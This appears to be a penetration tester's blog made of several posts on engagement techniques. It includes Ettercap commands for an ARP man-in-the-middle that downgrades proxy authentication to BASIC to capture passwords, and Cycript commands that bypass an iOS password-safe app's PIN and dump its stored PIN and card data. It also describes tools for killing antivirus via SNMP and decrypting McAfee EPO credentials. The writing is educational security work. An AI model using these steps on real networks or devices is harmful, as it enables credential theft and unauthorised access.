Quick blog, in response to a conversation I had. Where I was informed that this would be a cool thing to share. Recently, I was doing a simulated attack, playing the part of an individual who had gained access to a customer’s facilities. This customer had the usual stuff such as LLMNR spoofing etc which was good for getting hashes, but I needed access quickly to exfiltrate as much data as possible prior to detection. Carrying out a simple man in the middle against some targeted networks, I say targeted because the company deployed small department/functional VLANs, so it literally meant moving desks to find more victims…. I saw proxy authentication for company users as they were browsing the internet. The response to every request was a HTTP 407 proxy authenticate, providing the options to negotiate NTLM or BASIC. The users were all on the domain and NTLM was taking precedence. Therefore, I would see the hash being transmitted in the response. Great more hashes…..

That was when I though wait a minute…I shouldn’t see any of this traffic. It’s over HTTP!!!!!! I can modify the proxy authentication options in transit.

I created the following Ettercap filter as shown below and changed everything to BASIC. Obviously with BASIC authentication the user is going to be asked for their credentials. One of my colleague actually said no users will put there details in as its too suspicious…..and that was when the Base64 encoded username and password appeared on my Wireshark screen for an individual working in the Cyber Crime Team.

The filter:

To compile and run the filter use the following syntax:

etterfilter etter.filter.proxy -o proxy2.ef
ettercap -T -q -F proxy2.ef -M ARP /Target-IP// ///

Password Generation Tool

For most organisations one of the most prevalent security concerns remains users selection of secure passwords. Even when restricted through a reasonable password policy, users seem to continue to select passwords with some relevance to the geography of the area, the name of the business or popular sporting/hobbyist interests specific to the region.

How

Mutation through substitution is a common password generation technique. This is the process of maintaining a word of relevance but increasing the entropy by substituting letters for numbers or special characters. An example of this would be taking the word ‘password’ and through common substation routines, transitioning the word to be ‘Pa55w0rd’. This is something that is far to commonly seen during engagements, the other interesting factor is that the mutated version of the password meets Microsoft’s complexity guidelines as it details 3 of the 4 main changes a password should include (uppercase, lowercase, number and special character).

Microsoft Guidelines – https://technet.microsoft.com/en-gb/library/cc786468%28v=ws.10%29.aspx

The Tool

In combination with a number of scenarios encountered during engagements, we have created a tool that generates a mutated password list from one word. The idea behind the tool was to keep the code simplistic to allow easy on site modifications as further details about the company password policy become clear.

The tool has three main workflows:

Substitution Through Miniature Dictionary (limited substitution) –mini

The Miniature dictionary includes a subset of the maximum dictionary and focuses on swapping only common numbers and symbols. While also flipping the first character between uppercase and lowercase. This is specific to the way most users select passwords, utilising a uppercase character as the first letter in their password.

Substitution Through Maximum Dictionary (increased substitution) –maxi

The Maximum dictionary includes swapping all characters between uppercase and lowercase and swaps letters for common numbers and symbols.

Replace functionality (limited to special characters) –replace

The replace functionality is also looped into the two other dictionary functions but is a function in its own right. The replace functionality was specific to a recent engagement where a password was pulled from memory but had a special character that was of an unknown character set. The password included a square character that was unusable. Crunch was initially used to create a wordlist that took the main word and applied substitution of all common special characters in place of the square. Therefore it was obvious from that point that the replace functionality should make it into this tool.

Additional sub mutation routines

–range – The range option is used to add numbers (of a range) to the end of each password.

–suffix – The suffix option is used to append a suffix to the end of each password. This is common in organisations that utilise either dates or suffixes within passwords.

It was noted on a previous engagements that a service account password would always end with ‘_svc’.

–order – The order option allows the specification of an order of application for the three additional functions (–range, –replace and –suffix). Therefore you can specify a password that replaces a end character with all special characters, then includes a range of 0-10 and finally adds a suffix. The default order of the order option is dictionary, replace, range and suffix (drns).

 

While this is not the first tool that provides mutation capability, the idea was that it is easy to use, flexible and open to on the fly changes as required. We like to think of it as the square wheel of password generation tools – so without further ado, a basic demo:

We even created a help page:

The following example shows a limited output of what you can expect the tool to generate:

python leetme.py –mini –range 3 password

 

The script can be downloaded on from the tools page TOOLS

Also a wee shout out to modulo who helped write the script.

Recently, well a while a go I had some vulnerabilities published. These were published elsewhere and due to extreme laziness I decided not to publish it here. Anyway, thought I would stick links in here to point back to the vulns.

CVE2015-2342

• 7 Elements Advisory
• 7 Elements WriteUp
• VMWare Advisory

2 Others That we released (bit more low key)

Mitel CCMWeb Unauthenticated Local File Inclusion – 7 Elements

Mitel CCMWeb OpenRedirect – 7 Elements

There are some others too but there not released yet, I will try to add them quicker this time around ;-P

Recently I was testing an Web App that made use of AES encryption to generate tokens. I put together my own proof of concept code to generate the tokens and to decrypt the tokens using pycrypto. The code reads in strings from a separate file and then uses the Key and IV with the AES algorithm to generate a AES encrypted/base64 encoded string. The method was a port of Microsoft .net standard written in VB. Im sure the code is a copy from somewhere with a few amendments so sorry if I stole your code! ;-P

Obviously for this to work you need the Key which was 16 bits long and pretty much unbreakable in the time I had but it was retrievable in other ways. Anyway just wanted to post this so that I was top of the leader board again! Woohoo!!

Code →AES-Token-Generator.py

Okay so it might be a long time coming…

Part 2:

In part two we are again looking at Password Safe Apps but this time the App stores data in an unintelligible format (looks to be encrypted or at least encoded based on the method calls to read file in). Either way the files are not in clear text and from the class-dump we are calling an XFFile format which I couldn’t work out how to open. Part two is going to be looking at how to:

1. Execute actions

2. Mess with variables

3. Bypass logins and read files from apparently secure files.

Execute actions:

We have already followed steps from part 1 detailing how to dump the class information from an encrypted App using clutch and can now see that each function has a number of actions. Actions as I am referring to them are commands such as check-password or terminate application. The demo in this case will just be to lock the app. Which if put on a loop could be particularly funny should someone be trying to access their information:

The class dump shows the following output under AppDelegate:

–CUT–

-(void)initFileCount;

-(void)freeVersionWarning;

-(id)cloudURL;

-(void)loadData;

-(void)lock;

-(void)takePicture;

-(void)dealloc;

-(void)rateMyApp;

–CUT–

Therefore it is possible to execute the action by calling the class method and appropriate action with:

[UIApp.Delegate lock]

Some other interesting functionality can be seen such as takePicture and freeVersionWarning. The warning is particularly annoying. It would be interesting to change the message and have it pop up…

Messing with variable or property value:

This is just a quick and dirty example to show how to change messages on the screen and set variables or booleans. The screen at the time of login shows a nice message stating that the user should enter a password. Well I think we should be modifying that to some slanderous dig about the individuals man hood…….or at least to inform them of this new found predicament they are about to find them self in as we move through the next section.

Anyway to changing value:

Let’s start with where we are in the app on the screen and compare it to the method calls and associated variables.

cy# UIApp.keyWindow.rootViewController.visibleViewController

#”<InputView: 0x1fd67ed0>”

Reviewing the inputView method reveals a few interesting variables

–CUT–

-(void)changeType:(id)type;

-(void)reloadViews;

-(id)init;

–(void)updateTittle:(id)tittle;

–CUT–

The one we are interested in is updateTittle the command below shows how we can check the title message by reviewing the inputViewTitle:

cy#[UIApp.keyWindow.rootViewController.visableViewController inputViewTitle]

Before:

No we can use the updateTittle to change the message given to the user at the login screen:

cy#[UIApp.keyWindow.rootViewController.visableViewController updateTittle: “Password is wrong mwahahaha”]

After:

I have to reign in the insults so not to offend all the woman and children that visit the site…..

That was fun and all but what about breaking stuff….fear not…we’re here, the first parts are import in changing and manipulating the App and its response.

Breaking Stuff:

The first thing I am going to demonstrate how easy it is first and foremost to bypass the pin.

The method inputView actually has a delegate method called login this can be found by running the following command and reviewed in the class-dump:

cy# UIApp.keyWindow.rootViewController.visibleViewController.delegate

#”<login: 0x1fdc9fc0>”

There is no need to go into great detail here it’s just the same as part one where we change a boolean function to return true. This was a little harder as there were multiple methods called and required a bit more digging. Don’t forget there are a number of usual functions at cycript for exploring the app.

The following command can be used to set the inputDidTestingPassword function to true, which results in the application allowing access with any pin, this is important as it informs us that a comparison is done on the password:

cy#UIApp.keyWindow.rootViewController.visibleViewController.delegate->isa.messages[‘inputDidTestingPassword:’] = function() { return true}

Stealing and Resetting the PIN:

The first thing we have to look at is the class-dump which shows the file userData being read in at the start of the method login which is a delegate of inputView:

Therefore if it’s going to be loaded into memory I want to be able to read it – or at least that is the plan. The following commands detail how to read files, the file in this case is userData:

cy# UIApp.keyWindow.rootViewController.visibleViewController.delegate.userData

#”<XFFile: 0x1e56fc40>”

cy# UIApp.keyWindow.rootViewController.visibleViewController.delegate.userData.data

@{“password”:”1402″,”fileHidden”:true}

And there she is…..cycript is awesome!!!

Now let’s consider our earlier task of changing the message……..

Yep we can update the information in memory as per the screenshot above:

cy# UIApp.keyWindow.rootViewController.visibleViewController.delegate.userData.data = {“password”:”1234″,”fileHidden”:true}

{password:”1234″,fileHidden:true}

We can now login with the PIN 1234! HEHEHE not to forget the message about man hood!……………This could be quite a shock to a user of the App who ends up locked out and abused!

And logged in:

It is possible to access other files in the same way. I was to access the data while the app was open on the page. As can be see below

cy# UIApp.keyWindow.rootViewController.visibleViewController.file.data

@{“data”:@[@{“key”:”Account Number”,”value”:”3131313131″,”type”:6},@{“key”:”PIN”,”value”:”5555″,”type”:4},@{“key”:”Type”,”value”:”MasterCard”,”type”:12},@{“key”:”Bank Name”,”value”:”Happy Bank”,”type”:7},@{“key”:”Address”,”value”:””,”type”:7},@{“key”:”Owner”,”value”:””,”type”:7},@{“key”:”SWIFT Code”,”value”:””,”type”:1},@{“key”:”Routing Number”,”value”:””,”type”:10},@{“key”:”IBAN”,”value”:””,”type”:10},@{“key”:”Hotline”,”value”:””,”type”:11},@{“key”:”Notes”,”value”:””,”type”:9}],”imgName”:”154.png”}

The information available clearly details credit card information and pins normally secured, proving nothing is safe if your phone is rooted.

There will of course be a part three and the idea this time is not to wait so long and then rush something through ;-P

The first in a series of IOS app testing blogs, this blog will focus on some of the more simplistic IOS app vulnerabilities and how to exploit them. I won’t be wasting time talking/walking through the methods exactly and explaining all syntax used etc. This first blog is just to show how easy it can be to bypass basic PIN security as well as why securing application data is imperative.

I have been messing with app security for a while now and decided it was time to start writing some of this down. Therefore I have picked an example app from the app store to demonstrate some of the basic issues that stem from poor coding and a lack of thought around security, in real world apps….cause let’s face it…..rooting a phone is really difficult with all those point and click exploits these days.

I decided it would be a good idea to pick (test) a password safe app, as obviously you would think that the whole idea would be to build an app around security and focus on protecting your passwords. Surely a hacker would have to undertake something like the “12 trials of Hercules” or some other mythological test to prove worthy of gaining access to a safe containing all my passwords…….well…………..maybe not, I have an idea – let’s just leave the back door wide open and while we are at it, let’s just stick a big ass sign “saying hello, the door can be opened when one says OPEN!!!”

Anyway, so to start.

So the first thing we need is a rooted phone with some basic tools: ssh – gain cli access, clutch – unencrypt apps, class-dump-z – dump class info, sqlite3 – sqlite database client and cycript – runtime app hooking tool.

The first thing I have done is launch the app, provide a PIN code of four digits as a key and enter one password for a user called Doug.

Okay so let’s start this by locating the databases on the phone with the find command:

find / -name *.sqlite

We can see that an entry comes back for the password app, based on its stored location. Let’s use SQLite3 to review the tables in the database and make sure that the app is storing encrypted or hashed passwords:

 

 

 

 

 

Oh dear both the PIN (1402) and any passwords (secretpass) can be viewed in clear text. So we are not storing info securely. This is something that is common amongst most apps I have reviewed, especially free apps.

Okay so next stage:

Most apps these days are encrypted to stop people from revealing the class information and gaining an understanding of the inner workings of the app and functions that the app runs. However smarter people than me have proven that where an app must decrypt to run in memory the app can in fact be pulled from memory unencrypted. There are a number of tutorials on how to do this. I am not going to show you, in fact I am going to take the easy way out and let Clutch take a step forward.

Clutch decrypts apps and dumps the unencrypted app for you:

 

 

 

 

 

 

 

 

 

 

The one thing I found was that it lied about where it said it was dumping the output, so another find command and we located the unencrypted app – yeah!

The reason we unencrypted the app was to review the class information (functions). Step forward class-dump-z ya wee beauty!!

Reviewing the class dump we are able to find some interesting information, like check password etc.

Now what we want to do is to run the application and interact with the application in memory to see if we can find away to bypass the PIN checking function. Cycript is the application we will use to hook the ios app as it runs in memory. So first thing to do is run ‘ps aux’ locate the process id and run cycript with the -p flag and the process id.

Now that we have the app hooked and the app on the front screen asking for a password we can locate the name of the app window running:

If we run AppDelegate.messages we can see the application messages which corresponds to the functions and variables found in the class dump we performed earlier:

So as per the above we can see that the app deletegate function contains messages for the check password boolan as discovered in the class dump. Now we can set the message for check password to always be true:

This results in the check of the PIN always equaling true. This again stems from apple advising that developers should use variable and function names that are intelligible. I am not saying that you should obfuscate names of variables or functions as obfuscation is not the answer but it does add additional complexity to working out what is going on in the app.

Let look at a login before we hooked the app:

Now that we have hooked the app and fixed the function, lets put in the wrong PIN – Boom we are in, regardless of the PIN we enter. This is because the check always equals true. Happy days! We have found two major flaws in the app. I hope this has been useful to someone, even if only to act as another example.

Looking forward to seeing part 2 – me too! LOL

I decided to take two modules and crash them together to add some automation to some tasks that I seem to pick up often. I took the LSA Secrets module and the Domain Group Enum module and combined them to be one module. I then added some addition comparison functions to inform me if any of the service accounts being used are part of the “Domain Admins” group. I have hard coded the domain admins group rather than leave this as a variable, this can be easily changed but I wanted it just to work while using run commands from a meterpreter session or while using Dark Operators macro script to run over multiple sessions.

The code can be found here: lsa_enum_DA.rb

The following shows the module running against a server with 3 service accounts one local admin and 2 domain admins, firstly the domain admins are reported for the domain, then on each service account a line informs the user if the account is a domain admin or not.

I was recently tasked with testing a Wake-On-LAN (WOL) solution. I haven’t done an awful lot with WOL before but so not to go into too much detail and bore you to death, a WOL packet is basically constructed by putting a DATAGRAM packet together with the data contents of a SYNC line followed by 16 iterations of the MAC address. The SYNC line is basically made up of 6 bytes of F’s or FF:FF:FF:FF:FF:FF. There are a number of tools available to do this and in Kali Linux there is the tool WOL-E written in python by Nathaniel Carew. This does a pretty good and provides two main options in that it can create a broadcast packet or a unicast directed packet.

Unfortunately the requirements placed on me meant that I needed to bypass some basic ACL’s to restart servers in a different network segment. I came up with two options, the first was to capture a WOL packet using TCPDUMP and then edit the layer three details before throwing it back on to the network with TCPREPLAY…..I know right your thinking TCPREPLAY passes UDP packets….go figure! It works. There is some basic fixing of checksums etc which you can use Wireshark to confirm when it is a bad packet and what the actual checksums should be or you can write something yourself. I decided to put together a script to create a WOL packet and then spoof the IP address that it came from. The code for which can be found here: wol-spoof

I thought that even if this post is not the most exciting, this script represents a template that can be applied a large number of situations so even if you choose not to use it for WOL then you may use it to build something more exciting.

Hope it’s useful to someone. ;-P

On a recent test I came across SNMP write access on a Windows box and really wanted to use it to lower the security posture of the server however at the time the only attacks that I could come up with were Denial of Service (change IP, name etc) or Pointless POC’s (writing a contact etc).

Anyway that stuck with me and when I found it again on a separate test I decided to dig a little deeper. I found that it was possible to send a kill signal to any process on the server. This is of course providing the owner of the SNMP daemon has sufficient rights to kill the process.

I created a script to do this a while ago just to automate the action. I have since decided to release this as my first tool and therefore added some nice menus etc and looped the kill process function.

Without further a do……I give you SNMP Process Sniper.

This is still very rough and there are a number of amendments that I will make to it in the future such as port forwarding through an additional menu option using either IPtables or nc as SNMPSET and SNMPWALK are both limited to default ports.

In addition I got a bit carried away with the colours LMAO sorry!

Code can be found on the Tools Page or snmp-process-sniper

This script just runs a few basic functions using host mibs and the snmpwalk and snmpset tools built into Kali, if your going to use this on anything else, make sure you have those tools installed.

I should also point out that this was tested against an enterprise solution such as IBM Tivoli Netcool SNMP Agent. Not all SNMP agents make the “hrswrunstatus” mib writeable, this includes windows default builtin snmp agent. It appears that Microsoft decided to do things there own way rather than following the RFC although the RFC does say “MAX-ACCESS Read/Write” http://tools.ietf.org/html/rfc2790. In short Microsoft is more secure ;-P

Scenario:

You are testing a windows device running snmp and have managed through some means to enumerate the write community string. The snmp service is running as system.

Lets run the program and look at some screenshots:

Firstly the script reads in some variables: Target, Community String and Version:

 

 

 

 

 

Then it completes a simple test to make sure that the SNMP settings are valid:

 

 

If we push enter we will then be prompted with a menu to select an option, if you already know the PID you want to kill then select 2 otherwise to enumerate the list of PID’s and Process Names select 1.

 

 

 

 

Selecting option 1 looks like the following and provides two columns PID’s and Process Name and then reverts back to the menu:

 

 

 

 

 

Now that we know the PID to kill we can select option 2 and kill the Process:

In this example I have selected to kill process 1234.

 

 

 

 

I have been able to use this to kill RDP sessions, Firewalls and Antivirus amongst anything else that runs as a process.

Anyway I hope this is of use to someone.

I came across a Mcafee EPO server not long ago and found that during an on host review it stores the SQL database connection details and encrypted password in a file within the EPO directory, “/conf/orion/db.properties”. The password is encrypted with a statically known key that is used on all EPO deployments of a similar version.

The good news is there is already a metasploit module created in which someone has kindly went to the effort to extract the encryption key.

The problem that I encountered was that for me it was not fit for purpose, I needed to decrypt the credentials in the file but the module is a post module and required a session to extract the file. It was not possible to gain a session due to the nature of the test and therefore I rewrote the module into an auxiliary module that takes the file from the local file system and then runs it through the same decryption mechanism.

I hope the following code is of use to someone else who may find themselves in a similar scenario :  epo-doug